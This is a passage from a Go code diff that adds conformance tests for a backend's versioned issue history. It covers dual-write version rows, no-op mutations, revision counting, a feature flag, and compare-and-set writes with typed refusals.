twice for a single "+ + "caller-visible mutation)", id, count) + } +} + +// RunDualWriteNoOpMutationMintsNoRow pins FR-2: a mutation +// issueops.DiscardNoopIssueUpdates already discards before it reaches any +// write mints NO version row. +// +// This is the inheritance the task-1 design calls for explicitly: +// RecordVersionInTx sits inside the same already-short-circuited function +// bodies as RecordEventInTx, so a no-op never reaches it, and this case is +// what would catch a future refactor that moved the call ABOVE that +// short-circuit — versioning an update that changed nothing, which would +// make current_revision (and FR-5's identity between it and the row count) +// diverge from "the number of times this issue's durable state actually +// changed" for every issue anyone re-saves without editing. +func RunDualWriteNoOpMutationMintsNoRow(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-noop-mints-none" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + before, err := fixture.VersionRowCount(ctx, id) + if err != nil { + t.Fatalf("counting version rows for %s before the no-op: %v", id, err) + } + + if err := fixture.MutateAsNoOp(ctx, id); err != nil { + t.Fatalf("no-op mutating %s: %v", id, err) + } + after, err := fixture.VersionRowCount(ctx, id) + if err != nil { + t.Fatalf("counting version rows for %s after the no-op: %v", id, err) + } + if after != before { + t.Errorf("version row count for %s went from %d to %d across a no-op mutation, want unchanged: "+ + "a mutation the engine already discards as a no-op must never reach RecordVersionInTx", + id, before, after) + } +} + +// RunDualWriteAttributionIsRecordedWithTheMutation pins FR-3 and FR-4: the +// version row minted for an accepted mutation carries that mutation's +// attribution, visible the instant the mutation's own call returns. +// +// "Visible the instant the call returns" is the load-bearing half: this +// contract cannot see two writes land in the same database transaction, but +// it CAN see whether a caller has to do anything extra — flush, commit +// separately, poll — before the attribution it just supplied shows up beside +// the row it mutated. A dual-write seam that recorded the version +// asynchronously, or in a transaction of its own committed after the +// caller's, would still pass every other case in this file and fail this one. +func RunDualWriteAttributionIsRecordedWithTheMutation(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-attribution" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + actor, _, _, err := fixture.LatestVersionAttribution(ctx, id) + if err != nil { + t.Fatalf("reading attribution for %s immediately after the mutation that must have minted it: %v", id, err) + } + if actor == "" { + t.Errorf("change_actor for %s is empty immediately after an accepted mutation: FR-3/FR-4 require "+ + "the version row to carry the mutation's attribution, and an actor is the one attribution "+ + "input every leg's Mutate closure supplies", id) + } +} + +// RunDualWriteCurrentRevisionMatchesTheNewVersionRow pins FR-5: after any +// accepted mutation, issues.current_revision agrees with how many version +// rows the issue actually has. +// +// This restates the bead's task-1 description — bump current_revision by a +// plain +1 on the row already carrying the mutation, in the same transaction +// as the version row it accompanies — as something a black-box fixture can +// check without seeing either write: current_revision IS a count of the +// version rows RecordVersionInTx has minted for this issue, never ahead of +// it and never behind. Divergence in either direction is a real bug this +// phase must not ship: current_revision racing ahead of the row count would +// tell Phase 3/4's future CAS check to expect a revision that was never +// durably recorded, and falling behind would let a second writer believe it +// observed the latest version when a row past it already exists. +func RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-revision-matches" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + revision, err := fixture.CurrentRevision(ctx, id) + if err != nil { + t.Fatalf("reading current_revision for %s: %v", id, err) + } + count, err := fixture.VersionRowCount(ctx, id) + if err != nil { + t.Fatalf("counting version rows for %s: %v", id, err) + } + if revision != int64(count) { + t.Errorf("current_revision for %s = %d but it has %d version row(s): the two must always agree — "+ + "current_revision is nothing but a count of the rows RecordVersionInTx has minted for this "+ + "issue", id, revision, count) + } +} + +// RunDualWriteFlagOffProducesNoVersionRows pins FR-7: with +// storage.VersionedHistoryConfigurer left off, an otherwise-identical +// mutation mints no version row and leaves current_revision at its untouched +// schema default. +// +// This is the phase's core safety property, restated from the write side: +// every store this bead ships to already runs with the flag off, so a +// dual-write engine that fired regardless of the switch would start writing +// issue_versions rows nobody asked for, in every workspace, the moment this +// PR merges. The fixture this case is called against must be constructed +// with the flag OFF from the start — see each leg's flag-off constructor — +// so the case cannot pass by accident against a fixture that happens to +// share state with a flag-on one. +func RunDualWriteFlagOffProducesNoVersionRows(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-flag-off" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s with the flag off: %v", id, err) + } + count, err := fixture.VersionRowCount(ctx, id) + if err != nil { + t.Fatalf("counting version rows for %s: %v", id, err) + } + if count != 0 { + t.Errorf("version row count for %s = %d with storage.VersionedHistoryConfigurer OFF, want 0: a "+ + "disabled flag must produce byte-identical writes to the pre-Phase-2 engine, and a row minted "+ + "anyway means every existing workspace starts accumulating history nobody enabled", id, count) + } + revision, err := fixture.CurrentRevision(ctx, id) + if err != nil { + t.Fatalf("reading current_revision for %s: %v", id, err) + } + if revision != 1 { + t.Errorf("current_revision for %s = %d with the flag off, want 1 (the column's own schema "+ + "default, untouched): a flag-off store must never execute the bump half of RecordVersionInTx "+ + "either", id, revision) + } +} + +// RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed strengthens +// FR-2 from the one angle RunDualWriteNoOpMutationMintsNoRow does not reach: +// that case pins that a no-op mints no NEW row; this pins that a no-op does +// not silently rewrite the row already there. +// +// A dual-write seam that mistakenly ran an UPDATE instead of an +// insert-or-skip — reusing the prior row's primary key because the no-op +// path recomputed "the current version" instead of being skipped before it +// got there — would pass RunDualWriteNoOpMutationMintsNoRow outright: the row +// count never changes when an UPDATE overwrites in place. Comparing the +// attribution byte-for-byte across the no-op is what catches that failure +// mode instead. +func RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-noop-unperturbed" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + beforeActor, beforeAgent, beforeMessage, err := fixture.LatestVersionAttribution(ctx, id) + if err != nil { + t.Fatalf("reading attribution for %s before the no-op: %v", id, err) + } + + if err := fixture.MutateAsNoOp(ctx, id); err != nil { + t.Fatalf("no-op mutating %s: %v", id, err) + } + afterActor, afterAgent, afterMessage, err := fixture.LatestVersionAttribution(ctx, id) + if err != nil { + t.Fatalf("reading attribution for %s after the no-op: %v", id, err) + } + if beforeActor != afterActor || beforeAgent != afterAgent || beforeMessage != afterMessage { + t.Errorf("attribution for %s changed across a no-op mutation, (%q,%q,%q) -> (%q,%q,%q): a mutation "+ + "that mints no new row must also leave the existing one exactly as the accepted mutation "+ + "before it left it, not silently rewritten in place", + id, beforeActor, beforeAgent, beforeMessage, afterActor, afterAgent, afterMessage) + } +} diff --git a/backend/conformance/expected_revision_contract.go b/backend/conformance/expected_revision_contract.go new file mode 100644 index 000000000..7d71970e7 --- /dev/null +++ b/backend/conformance/expected_revision_contract.go @@ -0,0 +1,599 @@ +package conformance + +import ( + "context" + "errors" + "fmt" + "testing" + "time" +) + +// This file holds the vocabulary every one of the three new versioned-history +// contract files shares (Address, ChangeAttribution, Restriction, +// RetainedWindow, the PerRecordCASWrite hook shape, and the sentinel errors), +// plus the contract for R16/R17 (gastownhall/beads#6133, be-hs42e.1 §5-§7): +// the whole-of-state expectedRevision CAS write and its typed Refusal. +// +// THE SHARED VOCABULARY LIVES HERE, NOT IN A FOURTH FILE. All three contract +// files declare `package conformance`, so Go same-package visibility already +// gives cross-file access with no import; the architecture doc names exactly +// three contract files and does not say where their shared types live. This +// file's own §4a choice is to keep them beside R16/R17 rather than split out +// a vocabulary-only file with no tests of its own — R16/R17 is the first +// contract that needs them, so a reader asking "what is an Address" starts +// here. +// +// EVERY HOOK ON EVERY FIXTURE IN ALL THREE NEW FILES IS INDEPENDENTLY +// NILABLE — unlike metadata_cas_contract.go, where MetadataCAS itself is +// required and only two hooks are optional. Phase 0 ships zero real +// implementations of any of these capabilities in any backend's fixture kit +// (architecture §12: "every new hook is nil in every backend's fixture +// kit"), so every case below nil-checks every hook it uses and SKIPS BY NAME +// when one is missing — the same idiom history_matching.go uses for +// CountHistoryMatching. +// +// THIS SUITE DEFINES INTERFACES AND TESTS ONLY. Nothing introduced by this +// phase implements real CAS, invariant, retention, or epoch enforcement. The +// positive-path body of every Run function below is a complete, realistic +// assertion of what Phase 3's real hooks must do — because this suite IS the +// spec Phase 3 implements against (NFR-03) — but none of it runs today, +// since versioned_history_wiring_test.go wires every hook nil. +// +// RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset (R16-c) IS EXPECTED +// TO FAIL the moment a real backend wires CompareAndSetVersion, unless that +// backend has independently closed the row_lock partial-coverage gap the +// architecture doc's own §10 risk table names. That is deliberate — see the +// function's own doc comment — not a bug to relax the assertion around. +// +// DEFERRALS RECORDED HERE, NOT ACTED ON IN PHASE 0 (bee-ghosttrack's PR +// #6147 round-1 review; kept as ONE note so a later phase does not have to +// reconstruct these from PR comment history): +// +// - UNRETAINED AND DISCLOSURE-GATING ARE A FUTURE AUTHORIZATION AXIS, NOT A +// SIXTH Restriction VALUE. R11's bounded-window edge (an Address old +// enough to have fallen outside a retention window, distinct from Gone) +// and disclosure-gating (a store that presents a Gone or Unretained +// Address as Unknown to a caller not authorized to learn it existed at +// all) both layer an AUTHORIZATION dimension over the five states this +// file already defines — WHO is asking, not WHAT the store knows. Adding +// either as a sixth Restriction constant would conflate those two +// dimensions; a later phase should model authorization as an orthogonal +// axis instead. +// - INVARIANT-DECLARATION DISCOVERABILITY: nothing in this suite lets a +// caller enumerate which store invariants EnforceCrossRecordInvariant +// knows about ahead of a refusal — InvariantRefusal.InvariantName is +// only ever observed reactively. Deferred to whatever phase gives +// invariants a first-class registry. +// - LEASE TTL SELF-EXPIRY: LeaseHandle carries ExpiresAt +// (cross_record_invariant_contract.go) but nothing in this suite +// exercises a lease actually expiring on its own — only explicit +// Release. Deferred until a real lease primitive exists to observe +// timing against. +// - R20-j's DURABILITY IS NOT PROVEN ACROSS A RESTART in this suite — +// RunAStoreThatRemovesStateStillAnswersGoneDurably (retention_epoch_ +// contract.go) reads twice in the same process, which cannot +// distinguish real durability from an in-memory cache that merely +// outlives two calls. Deferred to the E2E tier, which can actually +// restart a backend between reads. +// - ERASURE'S GONE-RECORD TOKEN RETENTION (R5.1 machinery) is out of +// scope here: RunErasureMintsACorrectedVersionRatherThanEditingInPlace +// (retention_epoch_contract.go) checks that the original resolves +// GoneErasure and the correction resolves Live, not what token or +// tombstone content backs that GoneErasure answer. Deferred to the +// later phase that specifies R5.1's erasure-record shape. +// +// THE "_attribution" PATCH-KEY CONVENTION (expectedRevisionAttributionPatch, +// this file) IS THE CANONICAL WAY TO THREAD A ChangeAttribution THROUGH A +// PerRecordCASWrite's generic patch parameter. Phase 3's hook documentation +// should point implementers at this convention explicitly, so no backend +// invents a second one. + +// Address opaquely identifies one Version. It names no physical column — per +// be-hs42e.1 §5, this is conceptual vocabulary that any future backend's hook +// translates to and from whatever it actually stores. +type Address string + +// ChangeAttribution is who/what/why/when produced a Version, as observed by +// the transaction that produced it (be-hs42e.1 §5). Actor, Agent, and +// Message are independently nullable. +type ChangeAttribution struct { + Actor *string + Agent *string + Message *string + At time.Time +} + +// Restriction is one of the five states a store may report for an Address +// (be-hs42e.1 §5, FR-05). Gone and Unknown are deliberately distinct values, +// never conflated: Gone means the store once held this Version and no longer +// does; Unknown means the store has no knowledge of the lineage at all +// (FR-06) — e.g. it never synced far enough back to have an opinion. +type Restriction int + +const ( + RestrictionLive Restriction = iota + RestrictionGoneRetention + RestrictionGoneErasure + RestrictionGoneReorganization + RestrictionUnknown +) + +func (r Restriction) String() string { + switch r { + case RestrictionLive: + return "live" + case RestrictionGoneRetention: + return "gone-retention" + case RestrictionGoneErasure: + return "gone-erasure" + case RestrictionGoneReorganization: + return "gone-reorganization" + case RestrictionUnknown: + return "unknown" + default: + return fmt.Sprintf("Restriction(%d)", int(r)) + } +} + +// RetainedWindow is the surviving range a store reports once some Addresses +// within a lineage have gone (be-hs42e.1 §5, R20-c/h). +type RetainedWindow struct { + LowerBound Address + UpperBound Address +} + +// PerRecordCASWrite is the shape every per-record whole-of-state CAS write +// takes. ExpectedRevisionFixture.CompareAndSetVersion and +// CrossRecordInvariantFixture.GuardedWrite share this EXACT type on purpose: +// R16.1-a's boundary claim is literally that the second is the first, called +// twice — sharing the type makes that claim structural, not just asserted. +type PerRecordCASWrite func(ctx context.Context, id string, expected *Address, patch map[string]any) (ExpectedRevisionResult, error) + +// ExpectedRevisionResult is the outcome of a PerRecordCASWrite call. Accepted +// and Refusal are mutually exclusive: read Refusal only when Accepted is +// false, read NewVersion only when it is true. +type ExpectedRevisionResult struct { + Accepted bool + NewVersion Address + Refusal *Refusal +} + +// Refusal is R17's typed, machine-readable outcome for a write that named a +// version no longer current — never a generic error, never indistinguishable +// from an accepted write (R17-c/d1). +// +// THE FIXTURE KIT IS THE TRANSLATION BOUNDARY, NOT A SHAPE MANDATE ON REAL +// BACKENDS: R17 itself permits either of two shipped refusal shapes — a +// (result, nil-error) pair carrying a populated Refusal, or a typed native +// error a backend already returns for this case. ExpectedRevisionFixture's +// CompareAndSetVersion hook normalizes whichever shape a real backend ships +// to this ONE Refusal-populated-result shape for the suite to assert +// against uniformly. Nothing here should be read as banning a native +// typed-error refusal shape at the backend level — only as saying the +// fixture adapter that wires a backend into this suite must translate it +// into this shape before handing it back. +type Refusal struct { + // RefusingVersion is the Address that was actually current when the + // write was evaluated (R17-a). + RefusingVersion Address + // Attribution is RefusingVersion's ChangeAttribution, as observed by the + // refusing transaction (R17-b). + Attribution ChangeAttribution +} + +// ErrRevisionNotFound means the write named an id with no current version at +// all — distinct from a Refusal, which requires a current version to refuse +// against (R17-d2). +var ErrRevisionNotFound = errors.New("expected-revision: id has no current version") + +// ErrRevisionValidation means the write itself was malformed, independent of +// whether its expectation held (R17-d3). +var ErrRevisionValidation = errors.New("expected-revision: request is invalid") + +// ExpectedRevisionFixture supplies the whole-of-state CAS capability under +// test (R16, R17): a write that names the Version it expects to be current, +// accepted only while that expectation holds, refused with a typed Refusal +// otherwise. +type ExpectedRevisionFixture struct { + IssuePrefix string + + // CompareAndSetVersion performs a whole-of-state CAS write: it is + // accepted only while expected (nil meaning "no version named", i.e. an + // unconditional write, R16-b) names the currently-current Address. A nil + // hook means this backend does not yet implement expectedRevision CAS, + // and every case in this file SKIPS with that reason. + CompareAndSetVersion PerRecordCASWrite + + // CurrentVersion reports the Address currently current for id. A nil + // hook means this backend cannot independently confirm the current + // Address, and cases that need one skip with that reason. + CurrentVersion func(ctx context.Context, id string) (Address, error) + + // MutateOutsideExpectedRevision writes to id through a path R16-c + // specifically targets: one NOT gated by the whole-of-state precondition + // (the architecture doc names row_lock's documented partial-coverage gap + // as the concrete probe — see §7 risk, §10 risk table). A nil hook means + // this backend exposes no such out-of-band path, and the one case that + // needs it skips with that reason. + MutateOutsideExpectedRevision func(ctx context.Context, id string, field, value string) error +} + +// RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion pins R16's +// baseline: a write naming the Address that is actually current must be +// accepted. +func RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + if fixture.CurrentVersion == nil { + t.Skip("this backend cannot independently confirm the current Address (CurrentVersion is nil)") + } + id, seeded := expectedRevisionSeed(t, ctx, fixture, "current", map[string]any{"phase": "start"}) + + current, err := fixture.CurrentVersion(ctx, id) + if err != nil { + t.Fatalf("CurrentVersion(%s): %v", id, err) + } + if current != seeded.NewVersion { + t.Fatalf("CurrentVersion(%s) = %s, want the seed's NewVersion %s", id, current, seeded.NewVersion) + } + + result, err := fixture.CompareAndSetVersion(ctx, id, ¤t, map[string]any{"phase": "advanced"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s, expected=current): %v", id, err) + } + if !result.Accepted { + t.Fatalf("CompareAndSetVersion naming the true current Address was refused (Refusal=%+v), want Accepted (R16: a write naming the current Version must be accepted)", result.Refusal) + } +} + +// RunExpectedRevisionAcceptsAWriteNamingNoVersion pins R16-b's paraphrase: a +// nil expectation means an unconditional write, not "the key must be +// absent" — the unconditional path must still exist over a record that +// already has a current Version. +func RunExpectedRevisionAcceptsAWriteNamingNoVersion(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + id, _ := expectedRevisionSeed(t, ctx, fixture, "unconditional", map[string]any{"phase": "start"}) + + result, err := fixture.CompareAndSetVersion(ctx, id, nil, map[string]any{"phase": "overwritten"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s, expected=nil) over an existing record: %v", id, err) + } + if !result.Accepted { + t.Fatal("CompareAndSetVersion(expected=nil) over an existing record was refused, want Accepted (R16-b: nil means an unconditional write, not \"must be absent\")") + } +} + +// RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset pins R16's +// whole-of-state promise against the concrete gap the architecture doc names +// (§7 risk, §10 risk table): row_lock's documented partial-coverage leaves +// some fields writable without reminting the Version those fields belong to. +// A write through MutateOutsideExpectedRevision must still count as a change +// against the expectation — otherwise a caller's CAS can silently observe a +// stale precondition as current. +// +// THIS CASE IS EXPECTED TO FAIL the moment a real backend wires +// CompareAndSetVersion, UNLESS that backend has independently closed the +// row_lock gap first (architecture §10 risk table: "this suite existing and +// failing loudly against that gap IS THE POINT"). It is not a bug in this +// test if it starts failing against a real hook — it is the suite doing its +// job. Do not weaken this assertion to make a real backend pass; close the +// gap instead. +func RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + if fixture.MutateOutsideExpectedRevision == nil { + t.Skip("this backend exposes no out-of-band mutation path to probe the whole-of-state boundary with (MutateOutsideExpectedRevision is nil)") + } + id, seeded := expectedRevisionSeed(t, ctx, fixture, "outofband", map[string]any{"phase": "start"}) + staleExpected := seeded.NewVersion + + if err := fixture.MutateOutsideExpectedRevision(ctx, id, "side_channel", "changed"); err != nil { + t.Fatalf("MutateOutsideExpectedRevision(%s): %v", id, err) + } + + result, err := fixture.CompareAndSetVersion(ctx, id, &staleExpected, map[string]any{"phase": "advanced"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s, expected=pre-mutation version): %v", id, err) + } + if result.Accepted { + t.Fatal("CompareAndSetVersion naming the pre-mutation Address was accepted after an out-of-band field write; " + + "R16's whole-of-state precondition must cover fields outside any single watched subset") + } +} + +// RunRefusalReportsTheRefusingVersionAddress pins R17-a: a Refusal names the +// Address that was actually current when the write was evaluated, read here +// independently via CurrentVersion rather than trusted from the caller's own +// stale value. +func RunRefusalReportsTheRefusingVersionAddress(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + if fixture.CurrentVersion == nil { + t.Skip("this backend cannot independently confirm the current Address (CurrentVersion is nil)") + } + id, stale := expectedRevisionSeedStale(t, ctx, fixture, "refaddr") + + result, err := fixture.CompareAndSetVersion(ctx, id, &stale, map[string]any{"phase": "clobber"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s, stale expected): %v", id, err) + } + if result.Accepted || result.Refusal == nil { + t.Fatalf("CompareAndSetVersion over a stale expectation = %+v, want a Refusal", result) + } + + real, err := fixture.CurrentVersion(ctx, id) + if err != nil { + t.Fatalf("CurrentVersion(%s): %v", id, err) + } + if result.Refusal.RefusingVersion != real { + t.Errorf("Refusal.RefusingVersion = %s, want the real current Address %s (R17-a)", result.Refusal.RefusingVersion, real) + } +} + +// RunRefusalReportsTheRefusingVersionsChangeAttribution pins R17-b: a +// Refusal carries the ChangeAttribution the refusing transaction observed +// for the version that beat the caller. +// +// §4a: PerRecordCASWrite's patch is a generic map[string]any with no +// dedicated attribution field, so this case threads a ChangeAttribution +// through the documented patch["_attribution"] convention +// (expectedRevisionAttributionPatch) — this file's own choice, since the +// architecture doc does not pin how a caller supplies attribution on a +// per-record write, only that the backend must observe and later report it. +func RunRefusalReportsTheRefusingVersionsChangeAttribution(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + actor := "cas-winner" + wantAttribution := ChangeAttribution{Actor: &actor, At: time.Now().UTC()} + + id, seeded := expectedRevisionSeed(t, ctx, fixture, "refattr", map[string]any{"phase": "start"}) + staleAddr := seeded.NewVersion + advanced, err := fixture.CompareAndSetVersion(ctx, id, &staleAddr, + expectedRevisionAttributionPatch(map[string]any{"phase": "moved-on"}, wantAttribution)) + if err != nil { + t.Fatalf("advancing %s with a known attribution: %v", id, err) + } + if !advanced.Accepted { + t.Fatalf("advancing %s with a known attribution was refused", id) + } + + result, err := fixture.CompareAndSetVersion(ctx, id, &staleAddr, map[string]any{"phase": "clobber"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s, stale expected): %v", id, err) + } + if result.Accepted || result.Refusal == nil { + t.Fatalf("CompareAndSetVersion over a stale expectation = %+v, want a Refusal", result) + } + if !sameAttribution(result.Refusal.Attribution, wantAttribution) { + t.Errorf("Refusal.Attribution = %+v, want %+v (R17-b: the attribution the refusing transaction observed)", result.Refusal.Attribution, wantAttribution) + } +} + +// RunRefusalIsATypedOutcomeNotAGenericError pins R17-c/d1: a stale +// expectation comes back as a populated Refusal with a nil error, never as a +// generic Go error. +func RunRefusalIsATypedOutcomeNotAGenericError(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + id, stale := expectedRevisionSeedStale(t, ctx, fixture, "typedoutcome") + + result, err := fixture.CompareAndSetVersion(ctx, id, &stale, map[string]any{"phase": "clobber"}) + if err != nil { + t.Fatalf("a stale expectation returned error = %v, want nil: R17 reports a refusal, not an error (R17-c)", err) + } + if result.Accepted { + t.Fatal("a stale expectation was accepted") + } + if result.Refusal == nil { + t.Fatal("Refusal = nil on a non-accepted result, want a populated Refusal (R17-d1)") + } +} + +// RunRefusalIsDistinguishableFromAnAcceptedWrite runs an accepted and a +// refused case side by side and pins that Accepted is the only signal a +// caller needs: Refusal and NewVersion are never both populated, and never +// both empty. +func RunRefusalIsDistinguishableFromAnAcceptedWrite(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + + for _, test := range []struct { + name string + prepare func(t *testing.T) (string, Address) + }{ + {"accepted", func(t *testing.T) (string, Address) { + id, seeded := expectedRevisionSeed(t, ctx, fixture, "distinguish-accept", map[string]any{"phase": "start"}) + return id, seeded.NewVersion + }}, + {"refused", func(t *testing.T) (string, Address) { + return expectedRevisionSeedStale(t, ctx, fixture, "distinguish-refuse") + }}, + } { + t.Run(test.name, func(t *testing.T) { + id, expected := test.prepare(t) + result, err := fixture.CompareAndSetVersion(ctx, id, &expected, map[string]any{"phase": "attempt"}) + if err != nil { + t.Fatalf("CompareAndSetVersion(%s): %v", id, err) + } + if result.Accepted && result.Refusal != nil { + t.Fatalf("result = %+v, want Refusal populated only when Accepted is false", result) + } + if !result.Accepted && result.Refusal == nil { + t.Fatalf("result = %+v, want Refusal populated when Accepted is false", result) + } + if result.Accepted && result.NewVersion == "" { + t.Error("Accepted = true but NewVersion is empty") + } + }) + } +} + +// RunRefusalIsDistinguishableFromNotFound pins R17-d2: an id with no current +// version at all is ErrRevisionNotFound, never a Refusal — a Refusal +// requires a current version to refuse against. +func RunRefusalIsDistinguishableFromNotFound(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + ghost := Address("ghost-version") + id := fixture.IssuePrefix + "-exprev-neverseeded" + + result, err := fixture.CompareAndSetVersion(ctx, id, &ghost, map[string]any{"phase": "attempt"}) + if !errors.Is(err, ErrRevisionNotFound) { + t.Fatalf("CompareAndSetVersion on a never-seeded id error = %v, want ErrRevisionNotFound (R17-d2)", err) + } + if result.Accepted || result.Refusal != nil { + t.Errorf("result = %+v, want neither Accepted nor a Refusal for a not-found id", result) + } +} + +// RunRefusalIsDistinguishableFromValidationFailure pins R17-d3: a malformed +// request is ErrRevisionValidation, independent of whether its expectation +// would have held. +func RunRefusalIsDistinguishableFromValidationFailure(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + result, err := fixture.CompareAndSetVersion(ctx, "", nil, map[string]any{"phase": "attempt"}) + if !errors.Is(err, ErrRevisionValidation) { + t.Fatalf("CompareAndSetVersion with an empty id error = %v, want ErrRevisionValidation (R17-d3)", err) + } + if result.Accepted || result.Refusal != nil { + t.Errorf("result = %+v, want neither Accepted nor a Refusal for a malformed request", result) + } +} + +// RunRefusalNeverSilentlyPicksAWinner pins the race shape underneath R17: +// two writes competing over the same stale expectation must produce exactly +// one Accepted and one real Refusal — never both accepted, never a merged or +// silently overwritten result — and the Address left current afterward must +// be the winner's, read independently. +func RunRefusalNeverSilentlyPicksAWinner(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture) { + t.Helper() + if fixture.CompareAndSetVersion == nil { + t.Skip("this backend does not implement expectedRevision CAS (CompareAndSetVersion is nil)") + } + if fixture.CurrentVersion == nil { + t.Skip("this backend cannot independently confirm the current Address (CurrentVersion is nil)") + } + id, seeded := expectedRevisionSeed(t, ctx, fixture, "competing", map[string]any{"phase": "start"}) + shared := seeded.NewVersion + + first, err := fixture.CompareAndSetVersion(ctx, id, &shared, map[string]any{"phase": "writer-a"}) + if err != nil { + t.Fatalf("writer A: CompareAndSetVersion(%s): %v", id, err) + } + second, err := fixture.CompareAndSetVersion(ctx, id, &shared, map[string]any{"phase": "writer-b"}) + if err != nil { + t.Fatalf("writer B: CompareAndSetVersion(%s): %v", id, err) + } + + if first.Accepted == second.Accepted { + t.Fatalf("two competing writes against the same expectation both reported Accepted=%v, want exactly one to win", first.Accepted) + } + winner, loser := first, second + if second.Accepted { + winner, loser = second, first + } + if loser.Refusal == nil { + t.Fatal("the losing write carries no Refusal") + } + + real, err := fixture.CurrentVersion(ctx, id) + if err != nil { + t.Fatalf("CurrentVersion(%s): %v", id, err) + } + if real != winner.NewVersion { + t.Errorf("CurrentVersion(%s) = %s after the race, want the winner's NewVersion %s: a third value means the race was decided somewhere other than the two calls made here", id, real, winner.NewVersion) + } +} + +// --- fixture helpers ------------------------------------------------------- + +// expectedRevisionSeed performs an unconditional (expected=nil) write to +// mint id's first Version, and fatals unless the fixture accepts it — every +// case in this file needs a live record to test a whole-of-state CAS +// against, and CompareAndSetVersion(expected=nil) is the only write path +// this fixture exposes to make one. +func expectedRevisionSeed(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture, tag string, patch map[string]any) (string, ExpectedRevisionResult) { + t.Helper() + id := fixture.IssuePrefix + "-exprev-" + tag + if patch == nil { + patch = map[string]any{} + } + result, err := fixture.CompareAndSetVersion(ctx, id, nil, patch) + if err != nil { + t.Fatalf("seeding %s: CompareAndSetVersion(expected=nil) error = %v", id, err) + } + if !result.Accepted { + t.Fatalf("seeding %s: CompareAndSetVersion(expected=nil) Accepted = false, want true (R16-b: an unconditional write to a fresh id must be accepted)", id) + } + return id, result +} + +// expectedRevisionSeedStale seeds id, advances it once more, and returns the +// Address from BEFORE that second write — a caller naming this Address as +// Expected has a stale expectation, because the second write has since +// moved the current Version on. +func expectedRevisionSeedStale(t *testing.T, ctx context.Context, fixture ExpectedRevisionFixture, tag string) (string, Address) { + t.Helper() + id, seeded := expectedRevisionSeed(t, ctx, fixture, tag, map[string]any{"phase": "start"}) + staleAddr := seeded.NewVersion + advanced, err := fixture.CompareAndSetVersion(ctx, id, &staleAddr, map[string]any{"phase": "moved-on"}) + if err != nil { + t.Fatalf("advancing %s past the address a later case will treat as stale: %v", id, err) + } + if !advanced.Accepted { + t.Fatalf("advancing %s past the address a later case will treat as stale was refused", id) + } + return id, staleAddr +} + +// expectedRevisionAttributionPatch adds attribution to patch under the +// "_attribution" key — the convention this file uses to thread a +// ChangeAttribution through PerRecordCASWrite's generic patch parameter. See +// RunRefusalReportsTheRefusingVersionsChangeAttribution's doc comment for +// why this convention exists. +func expectedRevisionAttributionPatch(patch map[string]any, attribution ChangeAttribution) map[string]any { + if patch == nil { + patch = map[string]any{} + } + patch["_attribution"] = attribution + return patch +} + +// sameAttribution compares two ChangeAttribution values by content. It does +// not use reflect.DeepEqual: comparing time.Time by its internal +// representation is fragile (monotonic readings can differ for an otherwise +// equal instant), so At is compared with time.Time.Equal and the nullable +// string fields are compared by dereferenced value. +func sameAttribution(a, b ChangeAttribution) bool { + return samePtrString(a.Actor, b.Actor) && + samePtrString(a.Agent, b.Agent) && + samePtrString(a.Message, 